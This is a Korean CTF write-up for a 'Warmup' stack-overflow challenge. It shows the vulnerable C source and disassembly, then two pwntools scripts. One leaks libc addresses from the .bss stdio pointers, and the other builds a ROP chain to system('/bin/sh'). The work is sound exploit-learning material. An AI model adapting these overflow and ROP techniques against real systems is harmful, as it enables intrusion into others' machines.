Warmup
problem
environ
- Ubuntu:18.04
warmup.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void vuln() {
char buf[0x30];
memset(buf, 0, 0x30);
write(1, "> ", 2);
read(0, buf, 0xc0);
}
int main(void) {
init();
vuln();
exit(0);
}
writeup
해당 Warmup 문제는 CTF 기간내에 풀지 못한 문제이다. 대회가 끝난 후 공개된 writeup을 봤는데 굉장히 다양한 방식의 풀이가 있어서 흥미로웠다. 여러가지 풀이 방법 중 내가 알게된 방법은 아래와 같다.
- main()함수로 돌아가 vuln()함수가 호출될 시 stack에 위치한
buf
가 8bytes씩 밀리는 것을 이용한 leak(내가 이해한게 맞는지 잘 모르겠음;;)
https://hackmd.io/@Gt4Bz9fIRAKhqIqhByvn-Q/r1p2Zjm1c - stack에 존재하는
dl_start_user+50
값을 이용한 leak
https://github.com/datajerk/ctf-write-ups/blob/master/hayyimctf2022/warmup-cooldown/README.md stdin
,stdout
,stderr
가 bss영역에 있는 것을 이용한 leak
https://ctftime.org/writeup/32322
풀이과정은 여러개였지만 1,2 방법으로는 결국 풀지 못했기 때문에 3번 방식을 이용한 풀이를 하려고 한다.
(또한 환경 맞추어 줄 때 그냥 도커쓰자 그게 정신건강에 이롭다...)
우선 main
, vuln
, init
등의 함수의 심볼이 모두 날라가 있는 것을 확인할 수 있었다.
이런 경우 info file
명령어를 이용하여 .text
영역을 모두 살펴보는 방식을 이용해야한다.
.text
영역을 살펴보면 위 그림과 같이 파악할 수 있다.
0x40053d: push rbx
0x40053e: xor eax,eax
0x400540: mov ecx,0xc
0x400545: lea rsi,[rip+0x32] # 0x40057e
0x40054c: mov edx,0x2
0x400551: sub rsp,0x30
0x400555: mov rbx,rsp
0x400558: mov rdi,rbx
0x40055b: rep stos DWORD PTR es:[rdi],eax
0x40055d: mov edi,0x1
0x400562: call 0x4004a0 <write@plt>
0x400567: mov rsi,rbx
0x40056a: mov edx,0xc0
0x40056f: xor edi,edi
0x400571: xor eax,eax
0x400573: call 0x4004b0 <read@plt>
0x400578: add rsp,0x30
0x40057c: pop rbx
0x40057d: ret
그 중 vuln
함수를 살펴보면 스택 정리 방식이 일반적이지 않음을 확인할 수 있다.
vuln
함수에서 buf의 크기는 0x30인것에 반해 read함수를 이용한 입력은 0xc0만큼 받는다. 해당 취약점을 이용해 return address를 0x400567
, 0x40055d
로 줌으로써 write
함수, read
함수의 인자를 변경시켜 사용할 수 있다.
또한 .bss
영역을 보면 stdout
, stdin
, stderr
의 주소가 있는 것을 확인할 수 있다. 해당 .bss
영역과 write
함수를 이용해 libc base를 leak할 수 있다.
from pwn import *
e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d
# func
write_addr = 0x40055d
read_addr = 0x400567
#bss
bss_addr = 0x601000
p = process('./warmup')
# pause()
payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)
p.sendafter(b'> ', payload)
p.sendline(b'')
p.interactive()
위 익스코드의 동작과정을 설명하면
pop rbx
를 이용해rbx
레지스터에bss_addr
값을 준다.read
함수로 return address를 덮어씌워read
함수의 인자를 read(0, bss_addr, 0xc0)와 같이 만들어준다.- 해당 인자를 그대로
write
함수로 가져간다. ⇒ write(1, bss_addr, 0xc0) - leak!
이렇게 써놓으면 이해하기 힘들거 같긴한데; vuln
함수 디스어셈블구문과 함께 보면 이해할 수 있을거라 믿는다..
해당 익스코드를 실행시키면 다음과 같이 bss_addr
부분 즉 stdout
, stdin
, stderr
주소를 leak 할 수 있다.
여기서 stdout
주소는 p.sendline(b'')
부분으로 인해 마지막 1byte가 0x0a
로 덮였기 때문에 사용하지 않고 stdin
주소를 사용하기로 한다.
위 과정을 통해 libc base 및 필요한 함수들의 주소들을 구해준 뒤 익스 해주면 된다.
from pwn import *
e = ELF('./warmup')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
# libc_offset
stdin_offset = libc.symbols['_IO_2_1_stdin_']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search(b'/bin/sh'))
ogg_offset = 0x4f432
pop_rdi_offset = 0x215bf
ret_offset = 0x8aa
# text_addr
main_addr = 0x4004e0
vuln_addr = 0x40053d
# func
write_addr = 0x40055d
read_addr = 0x400567
#bss
bss_addr = 0x601000
p = process('./warmup')
# pause()
payload = b'A' * 0x30
payload += p64(bss_addr)
payload += p64(read_addr)
payload += b'A' * 0x38
payload += p64(write_addr)
payload += b'A' * 0x38
payload += p64(vuln_addr)
p.sendafter(b'> ', payload)
p.sendline(b'')
p.recvuntil(b'\x7f') # stdout
stdin_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) # stdin
libc_base = stdin_addr - stdin_offset
ogg_addr = libc_base + ogg_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
pop_rdi_addr = libc_base + pop_rdi_offset
ret_addr = libc_base + ret_offset
print(f"[*] libc_base: {hex(libc_base)}")
print(f"[*] stdin_addr: {hex(stdin_addr)}")
print(f"[*] ogg_addr: {hex(ogg_addr)}")
print(f"[*] system_addr: {hex(system_addr)}")
print(f"[*] binsh_addr: {hex(binsh_addr)}")
print(f"[*] pop_rdi_addr: {hex(pop_rdi_addr)}")
print(f"[*] ret_addr: {hex(ret_addr)}")
payload2 = b'A' * 0x38
payload2 += p64(ret_addr)
payload2 += p64(pop_rdi_addr)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
p.sendlineafter(b'> ', payload2)
p.interactive()
처음엔 one_gadget을 이용해 익스하려고 하였는데 인자 정리가 제대로 안된건지 뭔지 모르겠는데 execvpe+101
부분에서 SIGSEGV
에러가 발생하여 system('/bin/sh)
을 이용해 익스해주었다.